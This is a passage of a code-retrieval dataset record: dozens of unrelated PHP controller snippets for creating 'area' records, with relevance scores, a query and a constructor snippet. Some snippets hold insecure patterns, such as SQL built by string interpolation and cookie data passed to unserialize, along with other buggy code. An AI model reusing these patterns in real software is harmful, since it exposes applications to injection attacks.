area',\n 'perfil' => Perfil::find($id),\n ];\n return view('membro.area.create')->with($params);\n }", "public function create()\n {\n $areas = Area::all();\n return response()->json([\n 'areas' => $areas,\n ]);\n }", "public function create()\n {\n //\n $areas = Area::all();\n return view('empleado.create', compact('areas'));\n }", "public function __construct($area)\n {\n parent::__construct(null);\n $this->_area = $area;\n }", "public function newAction()\n {\n $entity = new Area();\n $form = $this->createForm(new AreaType(), $entity);\n\n return $this->render('SystemAdministracionBundle:Area:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n\t\t\t'error'\t\t=> NULL,\n ));\n }", "public function store(StoreArea $request)\n {\n $area = Area::create($request->validated());\n Session::flash('success', \"Area Added Successfully\");\n return response()->json($area);\n //\n }", "public function __construct(Area $area)\n {\n $this->area = $area;\n \n $this->message_store = 'El registro fue creado.';\n\t\t$this->message_update = 'El registro fue actualizado.';\n\t\t$this->message_delete = 'El registro fue eliminado.';\n }", "public function store(CreateContentAreaRequest $request)\n {\n $request['modified_by'] = Auth::id();\n Auth::user()->areas()->save(new Content_Area($request->all()));\n\n return redirect('admin/content_areas');\n }", "public function create()\n {\n $programAreas = ProgramArea::all();\n return view('programs-area.create', ['programAreas'=>null]);\n }", "function on_creation() {\n $this->init();\n }", "public function create()\n\t{\n\t\t$this->auth->restrict('Phases.Content.Create');\n\n\t\tif (isset($_POST['save']))\n\t\t{\n\t\t\tif ($insert_id = $this->save_phases())\n\t\t\t{\n\t\t\t\t// Log the activity\n\t\t\t\t$this->activity_model->log_activity($this->current_user->id, lang('phases_act_create_record').': ' . $insert_id . ' : ' . $this->input->ip_address(), 'phases');\n\n\t\t\t\tTemplate::set_message(lang('phases_create_success'), 'success');\n\t\t\t\tredirect(SITE_AREA .'/content/phases');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tTemplate::set_message(lang('phases_create_failure') . $this->phases_model->error, 'error');\n\t\t\t}\n\t\t}\n\t\tAssets::add_module_js('phases', 'phases.js');\n\n\t\tTemplate::set('toolbar_title', lang('phases_create') . ' Phases');\n\t\tTemplate::render();\n\t}", "public function create()\n\t{\n\t\t$this->auth->restrict('Aide.Content.Create');\n $categories = $this->categories_model->list_categories();\n\n\t\tif (isset($_POST['save']))\n\t\t{\n\t\t\tif ($insert_id = $this->save_aide())\n\t\t\t{\n\t\t\t\t// Log the activity\n\t\t\t\t$this->activity_model->log_activity($this->current_user->id, lang('aide_act_create_record').': ' . $insert_id . ' : ' . $this->input->ip_address(), 'aide');\n\n\t\t\t\tTemplate::set_message(lang('aide_create_success'), 'success');\n\t\t\t\tredirect(SITE_AREA .'/content/aide');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tTemplate::set_message(lang('aide_create_failure') . $this->aide_model->error, 'error');\n\t\t\t}\n\t\t}\n\t\tAssets::add_module_js('aide', 'aide.js');\n\n Template::set('categories', $categories);\n\t\tTemplate::set('toolbar_title', lang('aide'));\n\t\tTemplate::render();\n\t}", "public function add_postAction(){\n\t\t$info = $this->getPost(array('name', 'parent_id', 'root_id', 'sort'));\n\t\tif (!$info['name']) $this->output(-1, '名称不能为空.');\n\t\t\n\t\t//检测重复\n\t\t$area = Ola_Service_Area::getBy(array('name'=>$info['name']));\n\t\tif ($area) $this->output(-1, $info['name'].'已存在.');\n\t\t\n\t\t$ret = Ola_Service_Area::add($info);\n\t\tif (!$ret) {\n\t\t\t$this->output(-1, '操作失败.');\n\t\t}\n\t\t$this->output(0, '操作成功.');\n\t}", "public static function ADMIN_AREA_INSERT_NEW_AREA_DATA(){\n\t $SQL_String = \"INSERT INTO area_main VALUES(NULL,:area_code,:area_type,:area_name,:area_descrip,:area_link,:area_gates,\".\n\t \"IFNULL(:area_load, DEFAULT(area_load)),\".\n\t\t\t\t\t \"IFNULL(:accept_max_day, DEFAULT(accept_max_day)),\".\n\t\t\t\t\t \"IFNULL(:accept_min_day, DEFAULT(accept_min_day)),\".\n\t\t\t\t\t \"IFNULL(:revise_day, DEFAULT(revise_day)),\".\n\t\t\t\t\t \"IFNULL(:cancel_day, DEFAULT(cancel_day)),\".\n\t\t\t\t\t \"IFNULL(:filled_day, DEFAULT(filled_day)),\".\n\t\t\t\t\t \"IFNULL(:wait_list, DEFAULT(wait_list)),\".\n\t\t\t\t\t \"IFNULL(:member_max, DEFAULT(member_max)),\".\n\t\t\t\t\t \"IFNULL(:auto_pass, DEFAULT(auto_pass)),\".\n\t\t\t\t\t \"IFNULL(:time_open, DEFAULT(time_open)),\".\n\t\t\t\t\t \"IFNULL(:time_close, DEFAULT(time_close)),\".\n\t\t\t\t\t \"'[]','[]',:owner,1,1,:user,NULL);\";\n\t return $SQL_String;\n\t}", "public function create()\n {\n $area = new Grado;\n $area->grado = Input::get('area');\n $area->save();\n\n return Redirect('areas')->with('status', 'ok_create');\n }", "public function store(Request $request)\n {\n Gate::authorize('haveaccess','area.create');\n\n $request->validate([\n 'area' => 'required'\n\n ]);\n\n $area = Area::create($request->all());\n $nombre = 'Se creo correctamente el área: '.$area->area;\n\n return redirect()->route('areas')\n ->with('status_success', $nombre);\n }", "public function int__creatingRegion()\n {\n \treturn ($this->state == self::STATE_REGION_CREATE);\n }", "public function create()\n {\n\t\t$areas = $this->areaRepository->pluck('nombre','id');\n return view('empleados.create', compact('areas',$areas));\n }", "public function create()\n {\n $zoneName = DeliveryZoneModel::get();\n return view('admin.deliveryarea.create', compact('zoneName'));\n }", "public function create()\n\t{\n\t\treturn \\View::make('cdp/new_cdp'/*,$area*/);\n\t}", "public function testCreateArea()\n {\n $name = 'area-46';\n $this->browse(function (Browser $browser)use($name){\n\n \n $browser->visit('/admin/dashboard')\n ->type( 'name',$name)\n ->press('Add');\n \n });\n $this->assertDatabaseHas('areas',['name'=>$name]);\n \n \n\n }", "public function store(CreateAreaImageRequest $request)\n {\n if ($request->hasFile('file_name') && $request->file('file_name')->isValid()) {\n\n $image = $request->file('file_name')->getClientOriginalName();\n\n $new_file = time() . \" - \" . $image;\n\n $request->file('file_name')->move(public_path() . '/img/uploads/areas/', $new_file);\n\n AreaImage::create([\n 'area_id' => $request->input('area_id'),\n 'file_name' => $new_file\n ]);\n\n flash()->success('Imefanikiwa');\n\n return redirect('admin/location-images');\n\n } else {\n return 'no file';\n }\n }", "public function store(storeArea $request)\n {\n Area::create(request()->all());\n\n return redirect('/catalogos/areas');\n }", "public function createAction(Request $request)\n {\n $entity = new Area();\n $form = $this->createForm(new AreaType(), $entity);\n $form->bind($request);\n\t\t$error = NULL;\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n\t\t\t\n\t\t\ttry\n\t\t\t {\t\t\t\t\n\t\t\t\t$em->flush();\n\t\t\t\treturn $this->redirect($this->generateUrl('gestionar_areas_trabajo'));\n\t\t\t }\n\t\t\tcatch (\\Exception $e) {$error = \"Error de base de datos: \" . $e->getMessage();} \n }\n\n return $this->render('SystemAdministracionBundle:Area:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n\t\t\t'error' => $error,\n ));\n }", "public function store(Request $request)\n { \n $this->validate($request, ['area'=>'required|unique:areas,area']);\n if($request->ajax())\n {\n if(!auth()->user()->can('crear areas'))\n return response ()->view ('errors.403-content',[],403);\n $area = Areas::create(['area'=> strtoupper($request->area)]);\n if($area) return response()->json(['success'=>true,'message'=>'Se Registro correctamente']);\n else return response()->json(['success'=>false,'No se registro nigun Dato']); \n }\n }", "public function create()\n {\n $area = Area::get();\n $city = City::where('parent_id',0)->get();\n return view('web.ad.create',['area' => $area,'city' => $city]);\n }", "public function creating(AreaConhecimento $area_conhecimento)\n {\n $area_conhecimento->ativo = $area_conhecimento->ativo ?? 0;\n }", "public function handleAdd()\n {\n $this->layout->content = View::make('grievance::grievance-add');\n }", "public function run()\n {\n $cities = City::all();\n foreach ($cities as $city) {\n \tfactory('App\\Area', 2)->create(['city_id' => $city->id]);\n }\n }", "public function store(AreaRequest $request)\n {\n $area = new Area();\n $area->nome = $request->input('nome');\n $area->save();\n return redirect()->route('area.create')->\n with('success', ['Área cadastrado com sucesso!']);\n }", "public function create()\n {\n $areas = Area::all();\n return view('/catalogos.areas.nueva')->with(compact('areas'));\n }", "public function getCreate()\n\t{\n if(!$this->check_access(['ideas.new'])){\n return View::make('error/403')->with('warning', 'You do not have access to do this action.');\n }\n\n // Show the page\n// return View::make('backend/users/create', compact('groups', 'selectedGroups', 'permissions', 'selectedPermissions'));\n\n// $categories = Category::lists('name', 'id');\n $sectors = \"'\" . implode(\"','\", Sector::lists('name')) . \"'\";\n $areas = $this->getArea();\n// var_dump($areas); return;\n return View::make('ideas.create',compact('sectors','areas'));\n\t}", "public function creating()\n {\n # code...\n }", "public function newAction(Request $request)\n {\n $area = new Areas();\n $form = $this->createForm(new AreasType(), $area);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($area);\n $em->flush();\n\n return $this->redirectToRoute('areas_show', array('id' => $areas->getId()));\n }\n\n return $this->render('areas/new.html.twig', array(\n 'area' => $area,\n 'form' => $form->createView(),\n ));\n }", "function addArea($area,$boxName,$position = 0) {\n if($this->boxRender->hasBox($boxName)){\n \n if(!isset($this->areas[$area])){\n $this->areas[$area] = array();\n }\n// if(!isset($this->areas[$area][$position])){\n// $this->areas[$area][$position] = array();\n// }\n if(!array_search($boxName, $this->areas[$area])){\n if(empty($this->areas[$area][$position])){\n $this->areas[$area][$position] = $boxName;\n }else{\n $this->areas[$area][] = $boxName;\n }\n }\n }\n return $this;\n }", "public function handleStoreArea($area)\r\n {\r\n $session = $this->session->getSection('map');\r\n $session->area = $area;\r\n \r\n $this->terminate();\r\n }", "protected function OnCreateElements() {}", "protected function OnCreateElements() {}", "public static function NEW_AREA_BLOCK(){\n\t $SQL_String = \"INSERT INTO area_block VALUES(NULL,:am_id,'new','新增子區','','',:area_load,:accept_max_day,:accept_min_day,:wait_list,'[]',\t:editor,NULL,1,1)\";\n\t return $SQL_String;\n\t}", "public function createAction()\n {\n $tiles = array();\n // the old way: this renders the content in the same request.\n // $tiles[] = $this->editRegionAction();\n\n // here we clone the request for the region.\n $tiles[] = $createRegion = Region::create( $this->getCreateRegionPath(), array_merge($_REQUEST, [ \n '_form_controls' => true,\n ]));\n return $this->render($this->findTemplatePath('page.html') , [\n 'tiles' => $tiles,\n 'createRegion' => $createRegion,\n ]);\n }", "public function onCreating(Step $step): void\n {\n }", "function Create()\r\n\t{\r\n\r\n\t}", "protected function _precreate() {\n }", "public function create()\n {\n // Not needed cause this is coming from the item listing\n }", "public function create()\n\t{\t\n\t\t\n\t\t// load the create form (app/views/fbf_time/create.blade.php)\n\t\t$this->layout->content = View::make('fbf_time.create')\n;\n\t}", "public function store(Request $request)\n {\n //\n $this->saveArea(new Area, $request);\n return redirect('admin/area')->with('status', __('string.created_success'));\n }", "public function __create()\n {\n $this->eventPath = $this->data('event_path');\n $this->eventName = $this->data('event_name');\n $this->eventInstance = $this->data('event_instance');\n $this->eventFilter = $this->data('event_filter');\n }", "public function create()\n\t{\n\t\t$this->layout->content = View::make('pns.create');\n\t}", "function before_create() {}", "public function store(AreaRequest $request)\n {\n $input = $request->all();\n\n $area = new Area($input);\n $area->save();\n\n return redirect(route('admin.areas.index'))->with([ 'message' => 'Area creado exitosamente!', 'alert-type' => 'success' ]);\n }", "public function afterCreate()\n {\n // $this->getDI()\n // ->getMail()\n // ->send([\"admin@gamanads.com\" => \"Admin GamanAds\"],\"New Adspace\", 'newadspace',\n // [ 'emailBody'=> \"New Adspace : <b>$this->ad_url</b> from Client Id : <b>$this->client_id</b> Client Name: <b>$this->client_name</b>\"]);\n }", "public function saveArea($area, $request) {\n $area->name = $request->name;\n $area->country = $request->country;\n $area->zip_code = $request->zip_code;\n $area->save();\n }", "public function actionCreate()\n\t{\n\t\tif (!$this->user->isAllowed('position', 'create')) {\n\t\t\t$this->flashMessage(_('To enter this section you do not have enough privileges.'), 'danger');\n\t\t\t$this->redirect(':Admin:Dashboard:', ['id' => null]);\n\t\t}\n\t}", "public function create()\n\t{\t\n\t\t\n\t\t// load the create form (app/views/fbf_presenca/create.blade.php)\n\t\t$this->layout->content = View::make('fbf_presenca.create')\n;\n\t}", "public static function create($rectangle) {}", "protected function postCreateHook($object) { }", "function getArea(){}", "public function run()\n {\n //Tipo de items que existen para cada area\n Tipo_Item::create([\n \t'nombre_tipo_item'=>'Opcion multiple'\n ]);\n\n Tipo_Item::create([\n \t'nombre_tipo_item'=>'Falso/Verdadero'\n ]);\n\n Tipo_Item::create([\n \t'nombre_tipo_item'=>'Emparejamiento'\n ]);\n\n Tipo_Item::create([\n \t'nombre_tipo_item'=>'Texto corto'\n ]);\n }", "function _add_block_template_part_area_info($template_info)\n {\n }", "function events_action_create_event() {\r\n\tglobal $bp;\r\n\r\n\t/* If we're not at domain.org/events/create/ then return false */\r\n\tif ( $bp->current_component != $bp->jes_events->slug || 'create' != $bp->current_action )\r\n\t\treturn false;\r\n\r\n\tif ( !is_user_logged_in() )\r\n\t\treturn false;\r\n\r\n\t/* Make sure creation steps are in the right order */\r\n\tevents_action_sort_creation_steps();\r\n\r\n\t/* If no current step is set, reset everything so we can start a fresh event creation */\r\n\tif ( !$bp->jes_events->current_create_step = $bp->action_variables[1] ) {\r\n\r\n\t\tunset( $bp->jes_events->current_create_step );\r\n\t\tunset( $bp->jes_events->completed_create_steps );\r\n\r\n\t\tsetcookie( 'bp_new_event_id', false, time() - 1000, COOKIEPATH );\r\n\t\tsetcookie( 'bp_completed_create_steps', false, time() - 1000, COOKIEPATH );\r\n\r\n\t\t$reset_steps = true;\r\n\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . array_shift( array_keys( $bp->jes_events->event_creation_steps ) ) . '/' );\r\n\t}\r\n\r\n\t/* If this is a creation step that is not recognized, just redirect them back to the first screen */\r\n\tif ( $bp->action_variables[1] && !$bp->jes_events->event_creation_steps[$bp->action_variables[1]] ) {\r\n\t\tbp_core_add_message( __('There was an error saving event details. Please try again.', 'jet-event-system'), 'error' );\r\n\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/' );\r\n\t}\r\n\r\n\t/* Fetch the currently completed steps variable */\r\n\tif ( isset( $_COOKIE['bp_completed_create_steps'] ) && !$reset_steps )\r\n\t\t$bp->jes_events->completed_create_steps = unserialize( stripslashes( $_COOKIE['bp_completed_create_steps'] ) );\r\n\r\n\t/* Set the ID of the new event, if it has already been created in a previous step */\r\n\tif ( isset( $_COOKIE['bp_new_event_id'] ) ) {\r\n\t\t$bp->jes_events->new_event_id = $_COOKIE['bp_new_event_id'];\r\n\t\t$bp->jes_events->current_event = new JES_Events_Event( $bp->jes_events->new_event_id );\r\n\t}\r\n\r\n\t/* If the save, upload or skip button is hit, lets calculate what we need to save */\r\n\tif ( isset( $_POST['save'] ) ) {\r\n\r\n\t\t/* Check the nonce */\r\n\t\tcheck_admin_referer( 'events_create_save_' . $bp->jes_events->current_create_step );\r\n\r\n\t\tif ( 'event-details' == $bp->jes_events->current_create_step ) {\r\n\t\t\tif ( empty( $_POST['event-edted'] ) ) { $eventedted = $_POST['event-edtsd']; } else { $eventedted = $_POST['event-edted']; }\r\n\t\t\tif ( empty( $_POST['event-name'] ) || empty( $_POST['event-desc'] ) || !strlen( trim( $_POST['event-name'] ) ) || !strlen( trim( $_POST['event-desc'] || $_POST['event-edtsd'] ) ) ) {\r\n\t\t\t\tbp_core_add_message( __( 'Please fill in all of the required fields', 'jet-event-system' ), 'error' );\r\n\t\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $bp->jes_events->current_create_step . '/' );\r\n\t\t\t}\r\n// JLL_MOD - Modded all over - look care over entire file :(\r\nif ( empty ($_POST['event-edtsd'] ) || empty ($_POST['event-edtsth'] ) ) {\r\n\t\t\t\t\tbp_core_add_message( __( 'Please complete event Start date and time.', 'jet-event-system' ), 'error' );\r\n\t\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $bp->jes_events->current_create_step . '/' );\r\n\t\t\t\t\t\t} else if ( jes_datetounix($_POST['event-edtsd'],$_POST['event-edtsth'],$_POST['event-edtstm']) > jes_datetounix($eventedted,$_POST['event-edteth'],$_POST['event-edtetm'])) {\r\n\t\t\t\t\tbp_core_add_message( __( 'There was an error updating event details. Date and time of completion of the event can not exceed the date of its beginning, please try again.', 'jet-event-system' ), 'error' );\r\n\t\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $bp->jes_events->current_create_step . '/' );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\r\n\t\t\tif ( !$bp->jes_events->new_event_id = events_create_event( array( 'event_id' => $bp->jes_events->new_event_id, 'name' => $_POST['event-name'], 'etype' => $_POST['event-etype'], 'eventapproved' => $_POST['event-eventapproved'], 'description' => $_POST['event-desc'], 'eventterms' => $_POST['event-eventterms'], 'placedcountry' => $_POST['event-placedcountry'], 'placedstate' => $_POST['event-placedstate'],'placedcity' => $_POST['event-placedcity'], 'placedaddress' => $_POST['event-placedaddress'], 'placednote' => $_POST['event-placednote'], 'placedgooglemap' => $_POST['event-placedgooglemap'], 'flyer' => $_POST['event-flyer'],'newspublic' => $_POST['event-newspublic'], 'newsprivate' => $_POST['event-newsprivate'], 'edtsd' => $_POST['event-edtsd'], 'edted' => $eventedted, 'edtsth' => $_POST['event-edtsth'], 'edteth' => $_POST['event-edteth'], 'edtstm' => $_POST['event-edtstm'], 'edtetm' => $_POST['event-edtetm'],'grouplink' => $_POST['grouplink'], 'forumlink' => $_POST['forumlink'], 'enablesocial' => $_POST['enablesocial'],'slug' => events_jes_check_slug( sanitize_title( esc_attr( $_POST['event-name'] ) ) ), 'date_created' => gmdate( \"Y-m-d H:i:s\" ), 'status' => 'public', 'notify_timed_enable' => $_POST['notifytimedenable']) ) ) {\r\n\t\t\t\tbp_core_add_message( __( 'There was an error saving event details, please try again [001]', 'jet-event-system' ), 'error' );\r\n\t\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $bp->jes_events->current_create_step . '/' );\r\n\t\t\t}\r\n}\r\n\t\t\tevents_update_eventmeta( $bp->jes_events->new_event_id, 'total_member_count', 1 );\r\n\t\t\tevents_update_eventmeta( $bp->jes_events->new_event_id, 'last_activity', gmdate( \"Y-m-d H:i:s\" ) );\r\n\t\t}\r\n\r\n\t\tif ( 'event-settings' == $bp->jes_events->current_create_step ) {\r\n\t\t\t$event_status = 'public';\r\n\t\t\t$event_enable_forum = 1;\r\n\r\n\t\t\tif ( !isset($_POST['event-show-forum']) ) {\r\n\t\t\t\t$event_enable_forum = 0;\r\n\t\t\t} else {\r\n\t\t\t}\r\n\r\n\t\t\tif ( 'private' == $_POST['event-status'] )\r\n\t\t\t\t$event_status = 'private';\r\n\t\t\telse if ( 'hidden' == $_POST['event-status'] )\r\n\t\t\t\t$event_status = 'hidden';\r\n\r\n\t\t\tif ( !$bp->jes_events->new_event_id = events_create_event( array( 'event_id' => $bp->jes_events->new_event_id, 'status' => $event_status, 'grouplink' => $_POST['event-grouplink'], 'forumlink' => $_POST['event-forumlink'], 'enablesocial' => $_POST['enablesocial'],'enable_forum' => $event_enable_forum ) ) ) {\r\n\t\t\t\tbp_core_add_message( __( 'There was an error saving event details, please try again. [002]', 'jet-event-system' ), 'error' );\r\n\t\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $bp->jes_events->current_create_step . '/' );\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( 'event-invites' == $bp->jes_events->current_create_step ) {\r\n\t\t\tevents_send_invite_jes( $bp->loggedin_user->id, $bp->jes_events->new_event_id );\r\n\t\t}\r\n\r\n\t\tdo_action( 'events_create_event_step_save_' . $bp->jes_events->current_create_step );\r\n\t\tdo_action( 'events_create_event_step_complete' ); // Mostly for clearing cache on a generic action name\r\n\r\n\t\t/**\r\n\t\t * Once we have successfully saved the details for this step of the creation process\r\n\t\t * we need to add the current step to the array of completed steps, then update the cookies\r\n\t\t * holding the information\r\n\t\t */\r\n\t\tif ( !in_array( $bp->jes_events->current_create_step, (array)$bp->jes_events->completed_create_steps ) )\r\n\t\t\t$bp->jes_events->completed_create_steps[] = $bp->jes_events->current_create_step;\r\n\r\n\t\t/* Reset cookie info */\r\n\t\tsetcookie( 'bp_new_event_id', $bp->jes_events->new_event_id, time()+60*60*24, COOKIEPATH );\r\n\t\tsetcookie( 'bp_completed_create_steps', serialize( $bp->jes_events->completed_create_steps ), time()+60*60*24, COOKIEPATH );\r\n\r\n\t\t/* If we have completed all steps and hit done on the final step we can redirect to the completed event */\r\n\t\tif ( count( $bp->jes_events->completed_create_steps ) == count( $bp->jes_events->event_creation_steps ) && $bp->jes_events->current_create_step == array_pop( array_keys( $bp->jes_events->event_creation_steps ) ) ) {\r\n\t\t\tunset( $bp->jes_events->current_create_step );\r\n\t\t\tunset( $bp->jes_events->completed_create_steps );\r\n\r\n\t\t\t/* Once we compelete all steps, record the event creation in the activity stream. */\r\n\t\t\tevents_record_activity( array(\r\n\t\t\t\t'action' => apply_filters( 'events_activity_created_event_action', sprintf( __( '%s created the event %s', 'jet-event-system'), bp_core_get_userlink( $bp->loggedin_user->id ), '<a href=\"' . jes_bp_get_event_permalink( $bp->jes_events->current_event ) . '\">' . attribute_escape( $bp->jes_events->current_event->name ) . '</a>' ) ),\r\n\t\t\t\t'type' => 'created_event',\r\n\t\t\t\t'item_id' => $bp->jes_events->new_event_id\r\n\t\t\t) );\r\n\r\n\t\t\tdo_action( 'events_event_create_complete', $bp->jes_events->new_event_id );\r\n\r\n\t\t\tbp_core_redirect( jes_bp_get_event_permalink( $bp->jes_events->current_event ) );\r\n\t\t} else {\r\n\t\t\t/**\r\n\t\t\t * Since we don't know what the next step is going to be (any plugin can insert steps)\r\n\t\t\t * we need to loop the step array and fetch the next step that way.\r\n\t\t\t */\r\n\t\t\tforeach ( (array)$bp->jes_events->event_creation_steps as $key => $value ) {\r\n\t\t\t\tif ( $key == $bp->jes_events->current_create_step ) {\r\n\t\t\t\t\t$next = 1;\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif ( $next ) {\r\n\t\t\t\t\t$next_step = $key;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tbp_core_redirect( $bp->root_domain . '/' . $bp->jes_events->slug . '/create/step/' . $next_step . '/' );\r\n\t\t}\r\n\t}\r\n\r\n\t/* Event avatar is handled separately */\r\n\tif ( 'event-avatar' == $bp->jes_events->current_create_step && isset( $_POST['upload'] ) ) {\r\n\t\tif ( !empty( $_FILES ) && isset( $_POST['upload'] ) ) {\r\n\t\t\t/* Normally we would check a nonce here, but the event save nonce is used instead */\r\n\r\n\t\t\t/* Pass the file to the avatar upload handler */\r\n\t\t\tif ( bp_core_avatar_handle_upload( $_FILES, 'events_avatar_upload_dir' ) ) {\r\n\t\t\t\t$bp->avatar_admin->step = 'crop-image';\r\n\r\n\t\t\t\t/* Make sure we include the jQuery jCrop file for image cropping */\r\n\t\t\t\tadd_action( 'wp', 'bp_core_add_jquery_cropper' );\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/* If the image cropping is done, crop the image and save a full/thumb version */\r\n\t\tif ( isset( $_POST['avatar-crop-submit'] ) && isset( $_POST['upload'] ) ) {\r\n\t\t\t/* Normally we would check a nonce here, but the event save nonce is used instead */\r\n\r\n\t\t\tif ( !bp_core_avatar_handle_crop( array( 'object' => 'event', 'avatar_dir' => 'event-avatars', 'item_id' => $bp->jes_events->current_event->id, 'original_file' => $_POST['image_src'], 'crop_x' => $_POST['x'], 'crop_y' => $_POST['y'], 'crop_w' => $_POST['w'], 'crop_h' => $_POST['h'] ) ) )\r\n\t\t\t\tbp_core_add_message( __( 'There was an error saving the event avatar, please try uploading again.', 'jet-event-system' ), 'error' );\r\n\t\t\telse\r\n\t\t\t\tbp_core_add_message( __( 'The event avatar was uploaded successfully!', 'jet-event-system' ) );\r\n\t\t}\r\n\t}\r\n\r\n \tbp_core_load_template( apply_filters( 'events_template_create_event', 'events/create' ) );\r\n}", "public function create()\n {\n //for the PAGE on which to create\n }", "public function create()\n {\n //\n return view('admin.airline_create');\n }", "public function store(Request $request)\n {\n $user = Auth::user();\n\n $this->validate($request, array(\n 'area' => 'required|unique:areas,area',\n ));\n\n $area = new Area;\n $area->area = strtoupper($request->area);\n $area->created_by = $user->username;\n $area->save();\n\n return redirect()->back()->with('status-success','Data berhasil disimpan.');\n }", "public function newFormAction()\n {\n $entity = new BaseEntity();\n $form = $this->createForm(BaseType::class, $entity);\n\n return $this->render('backOffice/area/new.html.twig', array(\n 'form' => $form->createView(),\n ));\n }", "public function create() {\n $new_accessory = Accessory::create($this->accessory_params());\n\n if ($new_accessory->is_valid()) {\n $this->update_accessory_image($new_accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully created.']);\n } else {\n redirect('/backend/accessories/nuevo', [\n 'error' => $new_accessory->errors_as_string()]\n );\n }\n }", "public function create()\n {\n $this->layout->content = View::make('newStoryForm');\n }", "public function additionArea()\n {\n global $dbh;\n $sql = $dbh->prepare(\"INSERT INTO `area`(`nameaa`, `nameae`, `groupa`, `deleta`)VALUES('$this->nameaa' ,'$this->nameae' ,'$this->groupa' ,'$this->deleta')\");\n $result = $sql->execute();\n $id = $dbh->lastInsertId();\n return array ($result,$id);\n }" ]
[ "0.64210856", "0.64143014", "0.63237715", "0.6129292", "0.6019038", "0.5951764", "0.5947544", "0.58720225", "0.58720225", "0.5864537", "0.58296674", "0.58261204", "0.57726246", "0.57718384", "0.57187957", "0.56504065", "0.56414634", "0.56268936", "0.5606246", "0.55968374", "0.55764943", "0.55337924", "0.55306333", "0.5528546", "0.5524712", "0.54969996", "0.5489055", "0.54835665", "0.54835665", "0.54780054", "0.5475324", "0.5473082", "0.54695827", "0.54606086", "0.54575855", "0.54540277", "0.5453901", "0.54346955", "0.54201543", "0.54121804", "0.5399268", "0.53785247", "0.53759706", "0.53661644", "0.53647476", "0.5333702", "0.5323645", "0.5320028", "0.5318602", "0.5318409", "0.5303841", "0.5297063", "0.5286093", "0.5281927", "0.5281701", "0.52357775", "0.52332574", "0.522419", "0.5221442", "0.52098113", "0.52028483", "0.5202638", "0.5202055", "0.52009106", "0.51850694", "0.51807564", "0.51802844", "0.5175218", "0.5160758", "0.5160419", "0.5160419", "0.5156156", "0.5133464", "0.51261306", "0.5123512", "0.5117602", "0.5114873", "0.5105196", "0.5102831", "0.5101162", "0.50894284", "0.50821704", "0.5081748", "0.50815994", "0.5081103", "0.5076082", "0.5073743", "0.506033", "0.5050318", "0.5049515", "0.5042927", "0.50380343", "0.50364065", "0.5036218", "0.50325584", "0.50247896", "0.5023239", "0.5020268", "0.5017771", "0.5015259" ]
0.6512904
0
Display a listing of the resource.
public function __construct() { $this->middleware('auth'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 